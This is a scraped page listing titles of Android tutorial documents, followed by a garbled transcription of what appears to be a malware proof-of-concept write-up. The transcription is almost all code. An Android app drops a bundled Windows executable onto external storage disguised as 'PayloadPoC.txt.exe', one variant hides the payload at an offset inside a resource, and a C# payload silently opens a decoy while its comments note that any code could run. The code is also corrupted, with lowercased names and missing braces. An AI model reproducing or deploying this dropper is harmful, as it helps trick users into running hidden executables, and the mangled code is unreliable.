Similar documents
MyDatabaseHelper. public static final String TABLE_NAME = "tbl_bio";

Android/Java Lightning Tutorial JULY 30, 2018

Android File & Storage

MAD ASSIGNMENT NO 3. Submitted by: Rehan Asghar BSSE AUGUST 25, SUBMITTED TO: SIR WAQAS ASGHAR Superior CS&IT Dept.

Basic GUI elements - exercises

COMP61242: Task 3 1 2/05/18

CSE 660 Lab 7. Submitted by: Arumugam Thendramil Pavai. 1)Simple Remote Calculator. Server is created using ServerSocket class of java. Server.

API Guide for Gesture Recognition Engine. Version 2.0

Mobile Application Development Lab [] Simple Android Application for Native Calculator. To develop a Simple Android Application for Native Calculator.

Data Persistence. Chapter 10

Coding Menggunakan software Eclipse: Mainactivity.java (coding untuk tampilan login): package com.bella.pengontrol_otomatis;

Intents. Your first app assignment

<uses-permission android:name="android.permission.internet"/>

Android Programs Day 5

Tabel mysql. Kode di PHP. Config.php. Service.php

PENGEMBANGAN APLIKASI PERANGKAT BERGERAK (MOBILE)

M.A.D Assignment # 1

API Guide for Gesture Recognition Engine. Version 1.1

@Bind(R.id.input_ ) EditText EditText Button _loginbutton;

Applied Cognitive Computing Fall 2016 Android Application + IBM Bluemix (Cloudant NoSQL DB)

SMAATSDK. NFC MODULE ON ANDROID REQUIREMENTS AND DOCUMENTATION RELEASE v1.0

Android Apps Development for Mobile and Tablet Device (Level I) Lesson 2

EUCEG: Encryption process

Create Parent Activity and pass its information to Child Activity using Intents.

ANDROID PROGRAMS DAY 3

MAD ASSIGNMENT NO 2. Submitted by: Rehan Asghar BSSE AUGUST 25, SUBMITTED TO: SIR WAQAS ASGHAR Superior CS&IT Dept.

Android Workshop: Model View Controller ( MVC):

Autonomous Configuration UI

ITU- FAO- DOA- TRCSL. Training on. Innovation & Application Development for E- Agriculture. Shared Preferences

Appendix A : Android Studio Code For Android

Arrays of Buttons. Inside Android

LISTING PROGRAM. com.example.jessicatamara.myapplication4;

EMBEDDED SYSTEMS PROGRAMMING Application Tip: Saving State

package import import import import import import import public class extends public void super new this class extends public super public void new

Software Engineering Large Practical: Preferences, storage, and testing

Kotlin for Android developers

EMBEDDED SYSTEMS PROGRAMMING Application Tip: Switching UIs

Eng. Jaffer M. El-Agha Android Programing Discussion Islamic University of Gaza. Data persistence

Android Tutorial: Part 3

PNF-101 NFC Reader Android Integration Guide Version 1.0

Android Apps Development for Mobile and Tablet Device (Level I) Lesson 4. Workshop

Q.1 Explain the dialog and also explain the Demonstrate working dialog in android.

Fragment Example Create the following files and test the application on emulator or device.

Hi Hsiao-Lung Chan, Ph.D. Dept Electrical Engineering Chang Gung University, Taiwan

android-espresso #androidespresso

Darshan Institute of Engineering & Technology for Diploma Studies

Accelerating Information Technology Innovation

EMBEDDED SYSTEMS PROGRAMMING UI Specification: Approaches

M.A.D ASSIGNMENT # 2 REHAN ASGHAR BSSE 15126

Create a local SQL database hosting a CUSTOMER table. Each customer includes [id, name, phone]. Do the work inside Threads and Asynctasks.


CS 4518 Mobile and Ubiquitous Computing Lecture 4: WebView (Part 2) Emmanuel Agu

Tip Calculator. xmlns:tools=" android:layout_width="match_parent"

1. Location Services. 1.1 GPS Location. 1. Create the Android application with the following attributes. Application Name: MyLocation

Performing input and output operations using a Byte Stream

Press project on the left toolbar if it doesn t show an overview of the app yet.

TextView Control. EditText Control. TextView Attributes. android:id - This is the ID which uniquely identifies the control.

I/O STREAM (REQUIRED IN THE FINAL)

POCKET STUDY. Divyam Kumar Mishra, Mrinmoy Kumar Das Saurav Singh, Prince Kumar

Chapter 10. IO Streams

Dynamically Create Admob Banner and Interstitial Ads

1D/2D android secondary development

shared objects monitors run() Runnable start()

// MainActivity.java ; Noah Spenser; Senior Design; Diabetic Breathalyzer

E-Blocks wifi controlled by an Android device

TUTOR FINDER APP REPORT OF MAJOR PROJECT SUBMITTED FOR PARTIAL FULFILLMENT OF THE REQUIREMENT FOR THE DEGREE OF MASTERS OF COMPUTER APPLICATION

Android CardView Tutorial

Input-Output and Exception Handling

File IO. Computer Science and Engineering College of Engineering The Ohio State University. Lecture 20

INTRODUCTION TO ANDROID

Input from Files. Buffered Reader

The Basis of Data. Steven R. Bagley

CN208 Introduction to Computer Programming

Alternate Methods for Informatica Metadata Exchange SDK

StoppUhr. <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="start1"

STREAMS. (fluxos) Objetivos

CSE 660 Lab 3 Khoi Pham Thanh Ho April 19 th, 2015

Writing Efficient Drive Apps for Android. Claudio Cherubino / Alain Vongsouvanh Google Drive Developer Relations

LAMPIRAN. byte bcdtodec(byte val) { return( (val/16*10) + (val%16) ); } void setup() {

Simple Currency Converter

Mobile Programming Practice Background processing AsynTask Service Broadcast receiver Lab #5

Java Basics A Simple Hit the Zombies Game

Practical 1.ListView example

Programming with the SCA BB Service Configuration API

Programming with the SCA BB Service Configuration API

SharedPreferences Internal Storage External Storage SQLite databases

Workshop. 1. Create a simple Intent (Page 1 2) Launch a Camera for Photo Taking

Programming with the SCA BB Service Configuration API

Theme 2 Program Design. MVC and MVP

Using Libraries, Text-to-Speech, Camera. Lecture 12

FILE I/O IN JAVA. Prof. Chris Jermaine

<uses-permission android:name="android.permission.internet" />

1. Simple List. 1.1 Simple List using simple_list_item_1

Lampiran A. SOURCE CODE PROGRAM

EMBEDDED SYSTEMS PROGRAMMING Application Tip: Managing Screen Orientation

COMP61242: Task /04/18

Wireless Vehicle Bus Adapter (WVA) Android Library Tutorial

2018/2/5 话费券企业客户接入文档 语雀

Zipping Files Using Java by Julian Robichaux, panagenda originally published on socialbizug.org, July 2012

Android writing files to the external storage device

Transcription:

... 1... 2... 2... 3... 3... 4... 4... 5... 5... 6... 6... 7... 8... 9... 10... 13... 14... 17 1

2

3

4

file.txt.exe file.txt file.jpg.exe file.mp3.exe 5

6

0x00 0xFF try { in.skip(9058); catch (IOException e) { 7

8

9

btnwritesdfile raw payloadpoc payloadpoc import android.annotation.targetapi; import android.os.build; import android.os.environment; import android.support.v7.app.appcompatactivity; import android.os.bundle; import android.view.view; import android.widget.button; import android.widget.toast; import java.io.file; import java.io.filenotfoundexception; import java.io.fileoutputstream; import java.io.ioexception; import java.io.inputstream; public class MainActivity extends AppCompatActivity { /** * Written by Max 'Libra' Kersten */ @Override protected void oncreate(bundle savedinstancestate) { super.oncreate(savedinstancestate); setcontentview(r.layout.activity_main); //Sets the title of the screen settitle("libra's multi-platform malware PoC"); //References the button from the XML file to the Java code Button btnwritesdfile = (Button) this.findviewbyid(r.id.btnwritesdfile); //Make sure the permission is requested if required by a higher level Android API level if (shouldaskpermissions()) { askpermissions(); /** * Source: https://stackoverflow.com/questions/45546485/android-saving-a-fileto-the-sd-card */ btnwritesdfile.setonclicklistener(new View.OnClickListener() 10

{ public void onclick(view v) { InputStream in = getresources().openrawresource(r.raw.payloadpoc); String path = Environment.getExternalStorageDirectory() + File.separator + "PayloadPoC.txt.exe"; FileOutputStream out = null; try { out = new FileOutputStream(path); catch (FileNotFoundException e) { e.printstacktrace(); byte[] buff = new byte[1024]; int read = 0; try { while ((read = in.read(buff)) > 0) { out.write(buff, 0, read); catch (IOException e) { e.printstacktrace(); finally { try { in.close(); out.close(); catch (IOException e) { e.printstacktrace(); Toast.makeText(v.getContext(),"'"+ Environment.getExternalStorageDirectory() + File.separator + "PayloadPoC.txt.exe' deployed", Toast.LENGTH_SHORT).show(); ); /** * Source: https://stackoverflow.com/questions/8854359/exception-open-failedeacces-permission-denied-on-android * @return true should ask for permissions, false should not */ private boolean shouldaskpermissions() { return (Build.VERSION.SDK_INT > Build.VERSION_CODES.LOLLIPOP_MR1); /** 11

* Source: https://stackoverflow.com/questions/8854359/exception-open-failedeacces-permission-denied-on-android */ @TargetApi(23) protected void askpermissions() { String[] permissions = { "android.permission.read_external_storage", "android.permission.write_external_storage" ; int requestcode = 200; requestpermissions(permissions, requestcode); 12

using System; using System.Diagnostics; using System.IO; using PayloadPoC.Properties; //Written by Max Libra Kersten namespace PayloadPoC { class Program { static void Main(string[] args) { //In the settings, the Output-type is set to 'Windows Application' instead of 'Console Application' to prevent the black console flashing //To avoid possible IO errors, the code is put within a try-catch statement try { //Write the text file from the resources to the temporary folder of Windows string file = Path.GetTempFileName() + ".txt"; File.WriteAllText(file, Resources.Payload); //Start the file that is just written to the disk Process.Start(file); catch (Exception) { //Ignore any exception, because this is malware, we don't handle the exception other than just continuing //Note that one can execute any piece of C# code here as well. For the PoC, the file is just displayed with information about the given. There is no visual indication the program is running //As long as the decoy that is executed above, is doing what is intended 13

import android.annotation.targetapi; import android.os.build; import android.os.environment; import android.support.v7.app.appcompatactivity; import android.os.bundle; import android.view.view; import android.widget.button; import android.widget.toast; import java.io.file; import java.io.filenotfoundexception; import java.io.fileoutputstream; import java.io.ioexception; import java.io.inputstream; public class MainActivity extends AppCompatActivity { /** * Written by Max 'Libra' Kersten */ @Override protected void oncreate(bundle savedinstancestate) { super.oncreate(savedinstancestate); setcontentview(r.layout.activity_main); //Sets the title of the screen settitle("libra's multi-platform malware PoC"); //References the button from the XML file to the Java code Button btnwritesdfile = (Button) this.findviewbyid(r.id.btnwritesdfile); //Make sure the permission is requested if required by a higher level Android API level if (shouldaskpermissions()) { askpermissions(); /** * Source: https://stackoverflow.com/questions/45546485/android-saving-a-fileto-the-sd-card */ btnwritesdfile.setonclicklistener(new View.OnClickListener() { public void onclick(view v) { InputStream in = getresources().openrawresource(r.raw.payloadpoc); try { in.skip(9058); 14

catch (IOException e) { String path = Environment.getExternalStorageDirectory() + File.separator + "PayloadPoC.txt.exe"; FileOutputStream out = null; try { out = new FileOutputStream(path); catch (FileNotFoundException e) { e.printstacktrace(); byte[] buff = new byte[1024]; int read = 0; try { while ((read = in.read(buff)) > 0) { out.write(buff, 0, read); catch (IOException e) { e.printstacktrace(); finally { try { in.close(); out.close(); catch (IOException e) { e.printstacktrace(); Toast.makeText(v.getContext(),"'"+ Environment.getExternalStorageDirectory() + File.separator + "PayloadPoC.txt.exe' deployed", Toast.LENGTH_SHORT).show(); ); /** * Source: https://stackoverflow.com/questions/8854359/exception-open-failedeacces-permission-denied-on-android * @return true should ask for permissions, false should not */ private boolean shouldaskpermissions() { return (Build.VERSION.SDK_INT > Build.VERSION_CODES.LOLLIPOP_MR1); /** * Source: https://stackoverflow.com/questions/8854359/exception-open-failedeacces-permission-denied-on-android */ 15

@TargetApi(23) protected void askpermissions() { String[] permissions = { "android.permission.read_external_storage", "android.permission.write_external_storage" ; int requestcode = 200; requestpermissions(permissions, requestcode); 16

17